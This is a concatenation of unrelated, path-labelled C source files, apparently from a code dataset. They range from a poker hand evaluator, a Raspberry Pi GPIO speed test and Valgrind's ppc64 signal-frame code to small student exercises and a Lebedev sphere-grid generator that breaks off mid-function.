#include <stdio.h> #include <stdlib.h> #include <math.h> typedef struct { int value; char suit; } card; enum handtypes { high_card, // 2 - 14 10^0 one_pair, // 20 - 140 10^1 two_pair, // 300-1400 10^2 three_of_a_kind, // 2000-14000 10^3 straight, // 60000 - 140000 10^4 flush, // 600000 - 1400000 10^5 full_house, // 3000000 - 14000000 10^6 four_of_a_kind, // 20000000 - 140000000 10^7 straight_flush // 600000000 - 1400000000 10^8 }; int card_val(char cstr[]) { switch (cstr[0]) { case 'T': return 10; case 'J': return 11; case 'Q': return 12; case 'K': return 13; case 'A': return 14; default: return cstr[0] - '0'; } } // read each line of input into two hands, each sorted by value int read_hands(card p1[], card p2[]) { char cstr[3]; card tmp; for (int i = 0; i < 5; i++) { if (scanf("%s", cstr) != 1) { return 0; } p1[i].value = card_val(cstr); p1[i].suit = cstr[1]; for (int j = i; j > 0 && p1[j].value < p1[j-1].value; j--) { tmp = p1[j]; p1[j] = p1[j-1]; p1[j-1] = tmp; } } for (int i = 0; i < 5; i++) { if (scanf("%s", cstr) != 1) { return 0; } p2[i].value = card_val(cstr); p2[i].suit = cstr[1]; for (int j = i; j > 0 && p2[j].value < p2[j-1].value; j--) { tmp = p2[j]; p2[j] = p2[j-1]; p2[j-1] = tmp; } } return 1; } int is_flush(card hand[]) { for (int i = 1; i < 5; i++) { if (hand[i].suit != hand[0].suit) { return 0; } } return 1; } int is_straight(card hand[]) { for (int i = 1; i < 5; i++) { if (hand[i].value - hand[i-1].value != 1) { return 0; } } return 1; } int hand_value(card hand[]) { int hasflush, hasstraight; int dups[15] = {0}; for (int i = 0; i < 5; i++) { dups[hand[i].value]++; } hasflush = is_flush(hand); hasstraight = is_straight(hand); if (hasflush && hasstraight) { return hand[4].value * pow(10, straight_flush); } int trips = 0, pairs = 0, high_pair = 0; for (int i = 2; i <= 14; i++) { if (dups[i] == 4) { return i * pow(10, four_of_a_kind); } else if (dups[i] == 3) { trips = i; } else if (dups[i] == 2) { pairs++; high_pair = i; } } if (trips && pairs) { return trips * pow(10, full_house); } if (hasflush) { return hand[4].value * pow(10, flush); } if (hasstraight) { return hand[4].value * pow(10, straight); } if (trips) { return trips * pow(10, three_of_a_kind); } if (pairs == 2) { int low_pair; for (int i = 2; i <14; i++) { if (dups[i] == 2) { low_pair = i; break; } } return high_pair * pow(10, two_pair) + low_pair; } if (pairs) { return high_pair * pow(10, one_pair); } return hand[4].value; // high card } int main(void) { card p1[5], p2[5]; int p1val, p2val; int ans = 0; while (read_hands(p1, p2)) { p1val = hand_value(p1); p2val = hand_value(p2); if (p1val > p2val) { ans++; } else if (p1val == p2val) { for (int i = 4; i >= 0; i--) { if (p1[i].value != p2[i].value) { if (p1[i].value > p2[i].value) { ans++; } break; } } } } printf("%d\n", ans); }
the_stack_data/123572.c
/* * Test the speed of GPIO's on a Raspberry Pi using direct hardware access * (mem map). * * Note that RPi1 and RPi2 has different address and you need to add/remove * the correct define. * * Original code is an example from http://elinux.org/RPi_GPIO_Code_Samples * * Uses GPIO 21 */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define IN 0 #define OUT 1 #define LOW 0 #define HIGH 1 #define BUFFER_MAX 3 #define VALUE_MAX 30 #define DIRECTION_MAX 35 #define POUT 21 static int GPIOExport(int pin) { char buffer[BUFFER_MAX]; ssize_t bytes_written; int fd; fd = open("/sys/class/gpio/export", O_WRONLY); if (-1 == fd) { fprintf(stderr, "Failed to open export for writing!\n"); return(-1); } bytes_written = snprintf(buffer, BUFFER_MAX, "%d", pin); write(fd, buffer, bytes_written); close(fd); return(0); } static int GPIOUnexport(int pin) { char buffer[BUFFER_MAX]; ssize_t bytes_written; int fd; fd = open("/sys/class/gpio/unexport", O_WRONLY); if (-1 == fd) { fprintf(stderr, "Failed to open unexport for writing!\n"); return(-1); } bytes_written = snprintf(buffer, BUFFER_MAX, "%d", pin); write(fd, buffer, bytes_written); close(fd); return(0); } static int GPIODirection(int pin, int dir) { static const char s_directions_str[] = "in\0out"; char path[DIRECTION_MAX]; int fd; snprintf(path, DIRECTION_MAX, "/sys/class/gpio/gpio%d/direction", pin); fd = open(path, O_WRONLY); if (-1 == fd) { fprintf(stderr, "Failed to open gpio direction for writing!\n"); return(-1); } if (-1 == write(fd, &s_directions_str[IN == dir ? 0 : 3], IN == dir ? 2 : 3)) { fprintf(stderr, "Failed to set direction!\n"); return(-1); } close(fd); return(0); } static int GPIOWrite(int pin, int value) { static const char s_values_str[] = "01"; char path[VALUE_MAX]; int fd; snprintf(path, VALUE_MAX, "/sys/class/gpio/gpio%d/value", pin); fd = open(path, O_WRONLY); if (-1 == fd) { fprintf(stderr, "Failed to open gpio value for writing!\n"); return(-1); } if (1 != write(fd, &s_values_str[LOW == value ? 0 : 1], 1)) { fprintf(stderr, "Failed to write value!\n"); return(-1); } close(fd); return(0); } int main(int argc, char *argv[]) { // Enable GPIO pins if (-1 == GPIOExport(POUT) ) return(1); //Set GPIO directions if (-1 == GPIODirection(POUT, OUT) ) return(2); while(1) { GPIOWrite(POUT, 1); GPIOWrite(POUT, 0); } // Disable GPIO pins if (-1 == GPIOUnexport(POUT) ) return(4); return(0); }
the_stack_data/143909.c
/*------------------------------------------------------------------------- * * port.c-- * Linux-specific routines * * Copyright (c) 1994, Regents of the University of California * * * IDENTIFICATION * /usr/local/devel/pglite/cvs/src/backend/port/linux/port.c,v 1.1.1.1 1994/11/07 05:19:38 andrew Exp * *------------------------------------------------------------------------- */
the_stack_data/22572.c
#ifdef STM32F3xx #include "stm32f3xx_hal_opamp_ex.c" #endif #ifdef STM32G4xx #include "stm32g4xx_hal_opamp_ex.c" #endif #ifdef STM32H7xx #include "stm32h7xx_hal_opamp_ex.c" #endif #ifdef STM32L1xx #include "stm32l1xx_hal_opamp_ex.c" #endif #ifdef STM32L4xx #include "stm32l4xx_hal_opamp_ex.c" #endif
the_stack_data/198581135.c
/*--------------------------------------------------------------------*/ /*--- Create/destroy signal delivery frames. ---*/ /*--- sigframe-ppc64-linux.c ---*/ /*--------------------------------------------------------------------*/ /* This file is part of Valgrind, a dynamic binary instrumentation framework. Copyright (C) 2000-2015 Nicholas Nethercote [email protected] Copyright (C) 2004-2015 Paul Mackerras [email protected] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. The GNU General Public License is contained in the file COPYING. */ #if defined(VGP_ppc64be_linux) || defined(VGP_ppc64le_linux) #include "pub_core_basics.h" #include "pub_core_vki.h" #include "pub_core_vkiscnums.h" #include "pub_core_threadstate.h" #include "pub_core_aspacemgr.h" #include "pub_core_libcbase.h" #include "pub_core_libcassert.h" #include "pub_core_libcprint.h" #include "pub_core_machine.h" #include "pub_core_options.h" #include "pub_core_sigframe.h" #include "pub_core_signals.h" #include "pub_core_tooliface.h" #include "pub_core_trampoline.h" #include "pub_core_transtab.h" // VG_(discard_translations) #include "priv_sigframe.h" /* This module creates and removes signal frames for signal deliveries on ppc64-linux. Note, this file contains kernel-specific knowledge in the form of 'struct sigframe' and 'struct rt_sigframe'. How does that relate to the vki kernel interface stuff? Either a 'struct sigframe' or a 'struct rtsigframe' is pushed onto the client's stack. This contains a subsidiary vki_ucontext. That holds the vcpu's state across the signal, so that the sighandler can mess with the vcpu state if it really wants. FIXME: sigcontexting is basically broken for the moment. When delivering a signal, the integer registers and %eflags are correctly written into the sigcontext, however the FP and SSE state is not. When returning from a signal, only the integer registers are restored from the sigcontext; the rest of the CPU state is restored to what it was before the signal. This will be fixed. */ /*------------------------------------------------------------*/ /*--- Signal frame layouts ---*/ /*------------------------------------------------------------*/ // A structure in which to save the application's registers // during the execution of signal handlers. // On ppc64-linux, rt_sigframe is used for all signals. // In theory, so long as we get the arguments to the handler function // right, it doesn't matter what the exact layout of the rest of the // frame is. Unfortunately, things like gcc's exception unwinding // make assumptions about the locations of various parts of the frame, // so we need to duplicate it exactly. /* Many of these byzantine details derived from linux-2.6.13/arch/ppc64/kernel/signal.c */ #define TRAMP_SIZE 6 /* who knows why - it only needs to be 2. */ /* Structure containing bits of information that we want to save on signal delivery. */ struct vg_sig_private { UInt magicPI; UInt sigNo_private; ULong _unused; /* makes the struct size be zero % 16 */ VexGuestPPC64State vex_shadow1; VexGuestPPC64State vex_shadow2; }; /* Structure put on stack for all signal handlers. */ struct rt_sigframe { struct vki_ucontext uc; ULong _unused[2]; UInt tramp[TRAMP_SIZE]; struct vki_siginfo* pinfo; void* puc; vki_siginfo_t info; struct vg_sig_private priv; UChar abigap[288]; // unused }; #define SET_SIGNAL_LR(zztst, zzval) \ do { tst->arch.vex.guest_LR = (zzval); \ VG_TRACK( post_reg_write, Vg_CoreSignal, tst->tid, \ offsetof(VexGuestPPC64State,guest_LR), \ sizeof(UWord) ); \ } while (0) #define SET_SIGNAL_GPR(zztst, zzn, zzval) \ do { tst->arch.vex.guest_GPR##zzn = (zzval); \ VG_TRACK( post_reg_write, Vg_CoreSignal, tst->tid, \ offsetof(VexGuestPPC64State,guest_GPR##zzn), \ sizeof(UWord) ); \ } while (0) /* EXPORTED */ void VG_(sigframe_create)( ThreadId tid, Bool on_altstack, Addr sp_top_of_frame, const vki_siginfo_t *siginfo, const struct vki_ucontext *siguc, void *handler, UInt flags, const vki_sigset_t *mask, void *restorer ) { struct vg_sig_private* priv; Addr sp; ThreadState* tst; Int sigNo = siginfo->si_signo; /* Addr faultaddr; */ /* UNUSED */ struct rt_sigframe* frame; /* Stack must be 16-byte aligned */ vg_assert(VG_IS_16_ALIGNED(sizeof(struct vg_sig_private))); vg_assert(VG_IS_16_ALIGNED(sizeof(struct rt_sigframe))); sp_top_of_frame &= ~0xf; sp = sp_top_of_frame - sizeof(struct rt_sigframe); tst = VG_(get_ThreadState)(tid); if (! ML_(sf_maybe_extend_stack)(tst, sp, sp_top_of_frame - sp, flags)) return; vg_assert(VG_IS_16_ALIGNED(sp)); frame = (struct rt_sigframe *) sp; /* clear it (conservatively) */ VG_(memset)(frame, 0, sizeof(*frame)); ///////// frame->pinfo = &frame->info; frame->puc = &frame->uc; frame->uc.uc_flags = 0; frame->uc.uc_link = 0; ///////// /* Set up the stack chain pointer */ VG_TRACK( pre_mem_write, Vg_CoreSignal, tid, "signal handler frame", sp, sizeof(UWord) ); *(Addr *)sp = tst->arch.vex.guest_GPR1; VG_TRACK( post_mem_write, Vg_CoreSignal, tid, sp, sizeof(UWord) ); /* UNUSED: faultaddr = (Addr)siginfo->_sifields._sigfault._addr; if (sigNo == VKI_SIGILL && siginfo->si_code > 0) faultaddr = tst->arch.vex.guest_CIA; */ VG_(memcpy)(&frame->info, siginfo, sizeof(*siginfo)); VG_TRACK( post_mem_write, Vg_CoreSignal, tid, (Addr)&frame->info, sizeof(frame->info) ); frame->uc.uc_flags = 0; frame->uc.uc_link = 0; frame->uc.uc_stack = tst->altstack; frame->uc.uc_sigmask = tst->sig_mask; VG_TRACK( post_mem_write, Vg_CoreSignal, tid, (Addr)(&frame->uc), sizeof(frame->uc) ); # define DO(gpr) frame->uc.uc_mcontext.gp_regs[VKI_PT_R0+gpr] \ = tst->arch.vex.guest_GPR##gpr DO(0); DO(1); DO(2); DO(3); DO(4); DO(5); DO(6); DO(7); DO(8); DO(9); DO(10); DO(11); DO(12); DO(13); DO(14); DO(15); DO(16); DO(17); DO(18); DO(19); DO(20); DO(21); DO(22); DO(23); DO(24); DO(25); DO(26); DO(27); DO(28); DO(29); DO(30); DO(31); # undef DO frame->uc.uc_mcontext.gp_regs[VKI_PT_NIP] = tst->arch.vex.guest_CIA; #ifdef VGP_ppc64le_linux frame->uc.uc_mcontext.gp_regs[VKI_PT_MSR] = 0xf033; /* pretty arbitrary */ #else frame->uc.uc_mcontext.gp_regs[VKI_PT_MSR] = 0xf032; /* pretty arbitrary */ #endif frame->uc.uc_mcontext.gp_regs[VKI_PT_ORIG_R3] = tst->arch.vex.guest_GPR3; frame->uc.uc_mcontext.gp_regs[VKI_PT_CTR] = tst->arch.vex.guest_CTR; frame->uc.uc_mcontext.gp_regs[VKI_PT_LNK] = tst->arch.vex.guest_LR; frame->uc.uc_mcontext.gp_regs[VKI_PT_XER] = LibVEX_GuestPPC64_get_XER( &tst->arch.vex); frame->uc.uc_mcontext.gp_regs[VKI_PT_CCR] = LibVEX_GuestPPC64_get_CR( &tst->arch.vex); //mc->mc_gregs[VKI_PT_MQ] = 0; //mc->mc_gregs[VKI_PT_TRAP] = 0; //mc->mc_gregs[VKI_PT_DAR] = fault_addr; //mc->mc_gregs[VKI_PT_DSISR] = 0; //mc->mc_gregs[VKI_PT_RESULT] = 0; /* XXX should do FP and vector regs */ /* set up signal return trampoline */ /* NB. 5 Sept 07. mc->mc_pad[0..1] used to contain a the code to which the signal handler returns, and it just did sys_sigreturn or sys_rt_sigreturn. But this doesn't work if the stack is non-executable, and it isn't consistent with the x86-linux and amd64-linux scheme for removing the stack frame. So instead be consistent and use a stub in m_trampoline. Then it doesn't matter whether or not the (guest) stack is executable. This fixes #149519 and #145837. */ frame->tramp[0] = 0; /* invalid */ frame->tramp[1] = 0; /* invalid */ VG_TRACK(post_mem_write, Vg_CoreSignal, tst->tid, (Addr)&frame->tramp, sizeof(frame->tramp)); /* invalidate any translation of this area */ VG_(discard_translations)( (Addr)&frame->tramp[0], sizeof(frame->tramp), "stack_mcontext" ); /* set the signal handler to return to the trampoline */ SET_SIGNAL_LR(tst, (Addr)&VG_(ppc64_linux_SUBST_FOR_rt_sigreturn)); /* Stack pointer for the handler .. (note, back chain set earlier) */ SET_SIGNAL_GPR(tid, 1, sp); /* Args for the handler .. */ SET_SIGNAL_GPR(tid, 3, sigNo); SET_SIGNAL_GPR(tid, 4, (Addr) &frame->info); SET_SIGNAL_GPR(tid, 5, (Addr) &frame->uc); /* the kernel sets this, though it doesn't seem to be in the ABI */ SET_SIGNAL_GPR(tid, 6, (Addr) &frame->info); /* Handler is in fact a standard ppc64-linux function descriptor, so extract the function entry point and also the toc ptr to use. */ #if defined(VGP_ppc64be_linux) SET_SIGNAL_GPR(tid, 2, (Addr) ((ULong*)handler)[1]); tst->arch.vex.guest_CIA = (Addr) ((ULong*)handler)[0]; #else SET_SIGNAL_GPR(tid, 12, (Addr) handler); tst->arch.vex.guest_CIA = (Addr) handler; #endif priv = &frame->priv; priv->magicPI = 0x31415927; priv->sigNo_private = sigNo; priv->vex_shadow1 = tst->arch.vex_shadow1; priv->vex_shadow2 = tst->arch.vex_shadow2; if (0) VG_(printf)("pushed signal frame; %%R1 now = %#lx, " "next %%CIA = %#llx, status=%d\n", sp, tst->arch.vex.guest_CIA, (Int)tst->status); } /*------------------------------------------------------------*/ /*--- Destroying signal frames ---*/ /*------------------------------------------------------------*/ /* EXPORTED */ void VG_(sigframe_destroy)( ThreadId tid, Bool isRT ) { ThreadState *tst; struct vg_sig_private *priv; Addr sp; UInt frame_size; struct rt_sigframe *frame; Int sigNo; Bool has_siginfo = isRT; vg_assert(VG_(is_valid_tid)(tid)); tst = VG_(get_ThreadState)(tid); /* Check that the stack frame looks valid */ sp = tst->arch.vex.guest_GPR1; vg_assert(VG_IS_16_ALIGNED(sp)); /* JRS 17 Nov 05: This code used to check that *sp -- which should have been set by the stwu at the start of the handler -- points to just above the frame (ie, the previous frame). However, that isn't valid when delivering signals on alt stacks. So I removed it. The frame is still sanity-checked using the priv->magicPI field. */ frame = (struct rt_sigframe *)sp; frame_size = sizeof(*frame); priv = &frame->priv; vg_assert(priv->magicPI == 0x31415927); tst->sig_mask = frame->uc.uc_sigmask; tst->tmp_sig_mask = tst->sig_mask; sigNo = priv->sigNo_private; # define DO(gpr) tst->arch.vex.guest_GPR##gpr \ = frame->uc.uc_mcontext.gp_regs[VKI_PT_R0+gpr] DO(0); DO(1); DO(2); DO(3); DO(4); DO(5); DO(6); DO(7); DO(8); DO(9); DO(10); DO(11); DO(12); DO(13); DO(14); DO(15); DO(16); DO(17); DO(18); DO(19); DO(20); DO(21); DO(22); DO(23); DO(24); DO(25); DO(26); DO(27); DO(28); DO(29); DO(30); DO(31); # undef DO tst->arch.vex.guest_CIA = frame->uc.uc_mcontext.gp_regs[VKI_PT_NIP]; LibVEX_GuestPPC64_put_CR( frame->uc.uc_mcontext.gp_regs[VKI_PT_CCR], &tst->arch.vex ); tst->arch.vex.guest_LR = frame->uc.uc_mcontext.gp_regs[VKI_PT_LNK]; tst->arch.vex.guest_CTR = frame->uc.uc_mcontext.gp_regs[VKI_PT_CTR]; LibVEX_GuestPPC64_put_XER( frame->uc.uc_mcontext.gp_regs[VKI_PT_XER], &tst->arch.vex ); tst->arch.vex_shadow1 = priv->vex_shadow1; tst->arch.vex_shadow2 = priv->vex_shadow2; VG_TRACK(die_mem_stack_signal, sp, frame_size); if (VG_(clo_trace_signals)) VG_(message)(Vg_DebugMsg, "vg_pop_signal_frame (thread %u): isRT=%d " "valid magic; EIP=%#llx\n", tid, has_siginfo, tst->arch.vex.guest_CIA); /* tell the tools */ VG_TRACK( post_deliver_signal, tid, sigNo ); } #endif // defined(VGP_ppc64be_linux) || defined(VGP_ppc64le_linux) /*--------------------------------------------------------------------*/ /*--- end ---*/ /*--------------------------------------------------------------------*/
the_stack_data/15762852.c
#include <math.h> #include <stdio.h> int basis, exponent; int main(void) { printf("\nBasis = "); scanf ("%d", &basis); printf("\nExponent = "); scanf("%d", &exponent); printf ("\nErgebnis: \n"); printf ("\n%d^%d = %d\n", basis, exponent, (int) pow((double) basis, (double) exponent)); return 0; }
the_stack_data/179829933.c
// SPDX-License-Identifier: GPL-2.0 #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main(int argc, char *argv[]) { int fd; size_t size; ssize_t spliced; if (argc < 2) { fprintf(stderr, "Usage: %s INPUT [BYTES]\n", argv[0]); return EXIT_FAILURE; } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror(argv[1]); return EXIT_FAILURE; } if (argc == 3) size = atol(argv[2]); else { struct stat statbuf; if (fstat(fd, &statbuf) < 0) { perror(argv[1]); return EXIT_FAILURE; } if (statbuf.st_size > INT_MAX) { fprintf(stderr, "%s: Too big\n", argv[1]); return EXIT_FAILURE; } size = statbuf.st_size; } /* splice(2) file to stdout. */ spliced = splice(fd, NULL, STDOUT_FILENO, NULL, size, SPLICE_F_MOVE); if (spliced < 0) { perror("splice"); return EXIT_FAILURE; } close(fd); return EXIT_SUCCESS; }
the_stack_data/36076182.c
#include<stdio.h> void print_bin(int x) { unsigned i, indice = 1 << (sizeof(int) * 8 - 1); for(i = indice; i != 0; i >>= 1){ putchar((x & i)? '1':'0'); } putchar('\n'); } int main() { int x; printf("Ingrese un entero: "); scanf("%d", &x); printf("binario: "); print_bin(x); return 0; }
the_stack_data/200143158.c
#include<stdio.h> int main() { char day; printf("Enter the First Letter of the Day : "); scanf("%c",&day); switch(day) { case 'M': case 'T': case 'W': case 'F': printf("It's a Weekday"); break; case 'S': printf("It's a Weekend"); break; default: printf("Wrong Input"); } return 0; }
the_stack_data/134207.c
#include <stdio.h> #include <string.h> void convertToUpperCase(char a[], int size); int main(void) { char array[50], address[50]; int n; //printf("Enter word: "); //scanf("%s", array); //n = strlen(array); strcpy(address, "SLIIT,New Kandy Road, Malabe "); n = strlen(address); convertToUpperCase(address, n); return 0; } void convertToUpperCase(char a[], int size) { int i; for (i = 0; i < size; i++) { if (a[i] >= 97 && a[i] <= 122) a[i] = a[i] - 32; } printf("UPPER CASE: "); for (i = 0; i < size; i++) { printf("%c", a[i]); } puts(""); }
the_stack_data/113541.c
/* * This code was modified from CxLebedevGrid.cpp (from Gerald Knizia). * The following comments are copied from the header file CxLebedevGrid.h ccgk: This code generates Lebedev grids. It is based on C files from ccgk: Dmitri Laikov, which were converted to Fortran by Christoph van Wuellen. ccgk: I (Gerald Knizia) subsequently converted them back to C++. ccgk: ccgk: The original distribution contained the following readme file: ccgk: Lebedev grids of orders n=6m+5 where m=0,1,...,21 in 16 digit precision ======================================================================= The file Lebedev-Laikov.F implements a set of subroutines providing Lebedev-Laikov grids of order n=2m+1, where m=1,2,...,15, and additionally grids of order n=6m+5, where m=5,6,...,21. The parameters ensure that angular integration of polynomials x**k * y**l * z**m, where k+l+m <= 131 can be performed with a relative accuracy of 2e-14 [1]. Note that the weights are normalised to add up to 1.0. For each order n a separate subroutine is provided named LD. The parameters X, Y, Z are arrays for the cartesian components of each point, and the parameter W is an array for the weights. The subroutines increase the integer parameter N by number of grid points generated. All these routines use the subroutine gen_oh which takes care of the octahedral symmetry of the grids. Christoph van Wuellen (Ruhr-Universitaet, Bochum, Germany) generated the routines in Lebedev-Laikov.F by translating the original C-routines kindly provided by Dmitri Laikov (Moscow State University, Moscow, Russia). We are in debt to Dmitri Laikov for giving us permission to make these routines publically available. Huub van Dam Daresbury Laboratory, Daresbury, United Kingdom April, 2000 References ========== [1] V.I. Lebedev, and D.N. Laikov "A quadrature formula for the sphere of the 131st algebraic order of accuracy" Doklady Mathematics, Vol. 59, No. 3, 1999, pp. 477-481. ccgk: and the following comments and references for the original of the subroutine SphGenOh: chvd chvd This subroutine is part of a set of subroutines that generate chvd Lebedev grids [1-6] for integration on a sphere. The original chvd C-code [1] was kindly provided by Dr. Dmitri N. Laikov and chvd translated into fortran by Dr. Christoph van Wuellen. chvd This subroutine was translated from C to fortran77 by hand. chvd chvd Users of this code are asked to include reference [1] in their chvd publications, and in the user- and programmers-manuals chvd describing their codes. chvd chvd This code was distributed through CCL (http://www.ccl.net/). chvd chvd [1] V.I. Lebedev, and D.N. Laikov chvd "A quadrature formula for the sphere of the 131st chvd algebraic order of accuracy" chvd Doklady Mathematics, Vol. 59, No. 3, 1999, pp. 477-481. chvd chvd [2] V.I. Lebedev chvd "A quadrature formula for the sphere of 59th algebraic chvd order of accuracy" chvd Russian Acad. Sci. Dokl. Math., Vol. 50, 1995, pp. 283-286. chvd chvd [3] V.I. Lebedev, and A.L. Skorokhodov chvd "Quadrature formulas of orders 41, 47, and 53 for the sphere" chvd Russian Acad. Sci. Dokl. Math., Vol. 45, 1992, pp. 587-592. chvd chvd [4] V.I. Lebedev chvd "Spherical quadrature formulas exact to orders 25-29" chvd Siberian Mathematical Journal, Vol. 18, 1977, pp. 99-107. chvd chvd [5] V.I. Lebedev chvd "Quadratures on a sphere" chvd Computational Mathematics and Mathematical Physics, Vol. 16, chvd 1976, pp. 10-24. chvd chvd [6] V.I. Lebedev chvd "Values of the nodes and weights of ninth to seventeenth chvd order Gauss-Markov quadrature formulae invariant under the chvd octahedron group with inversion" chvd Computational Mathematics and Mathematical Physics, Vol. 15, chvd 1975, pp. 44-51. chvd cvw cvw Given a point on a sphere (specified by a and b), generate all cvw the equivalent points under Oh symmetry, making grid points with cvw weight v. cvw The variable num is increased by the number of different points cvw generated. cvw cvw Depending on code, there are 6...48 different but equivalent cvw points. cvw cvw code=1: (0,0,1) etc ( 6 points) cvw code=2: (0,a,a) etc, a=1/sqrt(2) ( 12 points) cvw code=3: (a,a,a) etc, a=1/sqrt(3) ( 8 points) cvw code=4: (a,a,b) etc, b=sqrt(1-2 a^2) ( 24 points) cvw code=5: (a,b,0) etc, b=sqrt(1-a^2), a input ( 24 points) cvw code=6: (a,b,c) etc, c=sqrt(1-a^2-b^2), a/b input ( 48 points) cvw * */ #include <math.h> // for sqrt. #include <assert.h> static int SphGenOh(double *g, int code, double a, double b, double v) { int num = 0; double c; switch(code) { case 0: a = 1.0; // pos/x pos/y pos/z weight g[0] = a; g[1] = 0; g[2] = 0; g[3] = v; g[4] = -a; g[5] = 0; g[6] = 0; g[7] = v; g[8] = 0; g[9] = a; g[10] = 0; g[11] = v; g[12] = 0; g[13] = -a; g[14] = 0; g[15] = v; g[16] = 0; g[17] = 0; g[18] = a; g[19] = v; g[20] = 0; g[21] = 0; g[22] = -a; g[23] = v; num = 6; break; case 1: a = sqrt(0.5); // pos/x pos/y pos/z weight g[0] = 0; g[1] = a; g[2] = a; g[3] = v; g[4] = 0; g[5] = -a; g[6] = a; g[7] = v; g[8] = 0; g[9] = a; g[10] = -a; g[11] = v; g[12] = 0; g[13] = -a; g[14] = -a; g[15] = v; g[16] = a; g[17] = 0; g[18] = a; g[19] = v; g[20] = -a; g[21] = 0; g[22] = a; g[23] = v; g[24] = a; g[25] = 0; g[26] = -a; g[27] = v; g[28] = -a; g[29] = 0; g[30] = -a; g[31] = v; g[32] = a; g[33] = a; g[34] = 0; g[35] = v; g[36] = -a; g[37] = a; g[38] = 0; g[39] = v; g[40] = a; g[41] = -a; g[42] = 0; g[43] = v; g[44] = -a; g[45] = -a; g[46] = 0; g[47] = v; num = 12; break; case 2: a = sqrt(1./3.); // pos/x pos/y pos/z weight g[0] = a; g[1] = a; g[2] = a; g[3] = v; g[4] = -a; g[5] = a; g[6] = a; g[7] = v; g[8] = a; g[9] = -a; g[10] = a; g[11] = v; g[12] = -a; g[13] = -a; g[14] = a; g[15] = v; g[16] = a; g[17] = a; g[18] = -a; g[19] = v; g[20] = -a; g[21] = a; g[22] = -a; g[23] = v; g[24] = a; g[25] = -a; g[26] = -a; g[27] = v; g[28] = -a; g[29] = -a; g[30] = -a; g[31] = v; num = 8; break; case 3: b = sqrt(1. - 2.*a*a); // pos/x pos/y pos/z weight g[0] = a; g[1] = a; g[2] = b; g[3] = v; g[4] = -a; g[5] = a; g[6] = b; g[7] = v; g[8] = a; g[9] = -a; g[10] = b; g[11] = v; g[12] = -a; g[13] = -a; g[14] = b; g[15] = v; g[16] = a; g[17] = a; g[18] = -b; g[19] = v; g[20] = -a; g[21] = a; g[22] = -b; g[23] = v; g[24] = a; g[25] = -a; g[26] = -b; g[27] = v; g[28] = -a; g[29] = -a; g[30] = -b; g[31] = v; g[32] = a; g[33] = b; g[34] = a; g[35] = v; g[36] = -a; g[37] = b; g[38] = a; g[39] = v; g[40] = a; g[41] = -b; g[42] = a; g[43] = v; g[44] = -a; g[45] = -b; g[46] = a; g[47] = v; g[48] = a; g[49] = b; g[50] = -a; g[51] = v; g[52] = -a; g[53] = b; g[54] = -a; g[55] = v; g[56] = a; g[57] = -b; g[58] = -a; g[59] = v; g[60] = -a; g[61] = -b; g[62] = -a; g[63] = v; g[64] = b; g[65] = a; g[66] = a; g[67] = v; g[68] = -b; g[69] = a; g[70] = a; g[71] = v; g[72] = b; g[73] = -a; g[74] = a; g[75] = v; g[76] = -b; g[77] = -a; g[78] = a; g[79] = v; g[80] = b; g[81] = a; g[82] = -a; g[83] = v; g[84] = -b; g[85] = a; g[86] = -a; g[87] = v; g[88] = b; g[89] = -a; g[90] = -a; g[91] = v; g[92] = -b; g[93] = -a; g[94] = -a; g[95] = v; num = 24; break; case 4: b = sqrt(1. - a*a); // pos/x pos/y pos/z weight g[0] = a; g[1] = b; g[2] = 0; g[3] = v; g[4] = -a; g[5] = b; g[6] = 0; g[7] = v; g[8] = a; g[9] = -b; g[10] = 0; g[11] = v; g[12] = -a; g[13] = -b; g[14] = 0; g[15] = v; g[16] = b; g[17] = a; g[18] = 0; g[19] = v; g[20] = -b; g[21] = a; g[22] = 0; g[23] = v; g[24] = b; g[25] = -a; g[26] = 0; g[27] = v; g[28] = -b; g[29] = -a; g[30] = 0; g[31] = v; g[32] = a; g[33] = 0; g[34] = b; g[35] = v; g[36] = -a; g[37] = 0; g[38] = b; g[39] = v; g[40] = a; g[41] = 0; g[42] = -b; g[43] = v; g[44] = -a; g[45] = 0; g[46] = -b; g[47] = v; g[48] = b; g[49] = 0; g[50] = a; g[51] = v; g[52] = -b; g[53] = 0; g[54] = a; g[55] = v; g[56] = b; g[57] = 0; g[58] = -a; g[59] = v; g[60] = -b; g[61] = 0; g[62] = -a; g[63] = v; g[64] = 0; g[65] = a; g[66] = b; g[67] = v; g[68] = 0; g[69] = -a; g[70] = b; g[71] = v; g[72] = 0; g[73] = a; g[74] = -b; g[75] = v; g[76] = 0; g[77] = -a; g[78] = -b; g[79] = v; g[80] = 0; g[81] = b; g[82] = a; g[83] = v; g[84] = 0; g[85] = -b; g[86] = a; g[87] = v; g[88] = 0; g[89] = b; g[90] = -a; g[91] = v; g[92] = 0; g[93] = -b; g[94] = -a; g[95] = v; num = 24; break; case 5: c = sqrt(1. - a*a - b*b); // pos/x pos/y pos/z weight g[0] = a; g[1] = b; g[2] = c; g[3] = v; g[4] = -a; g[5] = b; g[6] = c; g[7] = v; g[8] = a; g[9] = -b; g[10] = c; g[11] = v; g[12] = -a; g[13] = -b; g[14] = c; g[15] = v; g[16] = a; g[17] = b; g[18] = -c; g[19] = v; g[20] = -a; g[21] = b; g[22] = -c; g[23] = v; g[24] = a; g[25] = -b; g[26] = -c; g[27] = v; g[28] = -a; g[29] = -b; g[30] = -c; g[31] = v; g[32] = a; g[33] = c; g[34] = b; g[35] = v; g[36] = -a; g[37] = c; g[38] = b; g[39] = v; g[40] = a; g[41] = -c; g[42] = b; g[43] = v; g[44] = -a; g[45] = -c; g[46] = b; g[47] = v; g[48] = a; g[49] = c; g[50] = -b; g[51] = v; g[52] = -a; g[53] = c; g[54] = -b; g[55] = v; g[56] = a; g[57] = -c; g[58] = -b; g[59] = v; g[60] = -a; g[61] = -c; g[62] = -b; g[63] = v; g[64] = b; g[65] = a; g[66] = c; g[67] = v; g[68] = -b; g[69] = a; g[70] = 